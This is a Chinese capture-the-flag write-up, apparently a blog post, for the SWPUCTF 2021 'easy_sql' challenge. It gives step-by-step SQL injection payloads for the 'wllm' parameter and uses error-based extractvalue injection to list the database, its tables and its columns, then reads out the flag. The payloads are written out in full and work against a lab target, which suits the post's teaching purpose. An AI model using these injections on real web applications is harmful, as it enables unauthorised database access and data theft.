[SWPUCTF 2021 新生赛]easy_sql

开发板推荐:天空星STM32F407VET6开发板

超高性价比 STM32主控 | 超高主频 | 一板兼容百芯 | 比赛神器 | 沉金彩色丝印

又是一道经典杰哥SQL注入题

题目提示:参数是wllm

1、先判断闭合方式

/?wllm=1' //得到回显位是单引号

2、判断字段数

/?wllm=1' group by 3 --+ //经过尝试,发现字段数是3

3、判断回显位

/?wllm=1'  union select 1,2,3 --+ //原以为这个还是联合注入,但是发现根本没有回显,于是换一种思路,用报错注入试试

4.extractvalue报错注入

(1)已经知道了字段数,直接爆库名

?wllm=1'  union select  1,2,extractvalue(1,concat('~',(select database())))--+ 

得到库名test_db

(2)爆表名

/?wllm=1'  union select  1,2,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db')))--+

得到表名test_tb和users,直接尝试找test_tb的字段名

(3)爆字段名

/?wllm=1'  union select  1,2,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb')))--+

发现一个名为flag的字段名

(4)直接查看flag字段名的内容

/?wllm=1'  union select  1,2,extractvalue(1,concat('~',(select substring(group_concat(flag),1,30) from test_db.test_tb)))--+



/?wllm=1'  union select  1,2,extractvalue(1,concat('~',(select substring(group_concat(flag),31,30) from test_db.test_tb)))--+

substring一次只能回显30个字符,分两次查看

最后整理得到flag:NSSCTF{8ab46ee0-b0d3-4056-a62a

开发板推荐:天空星STM32F407VET6开发板

超高性价比 STM32主控 | 超高主频 | 一板兼容百芯 | 比赛神器 | 沉金彩色丝印

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值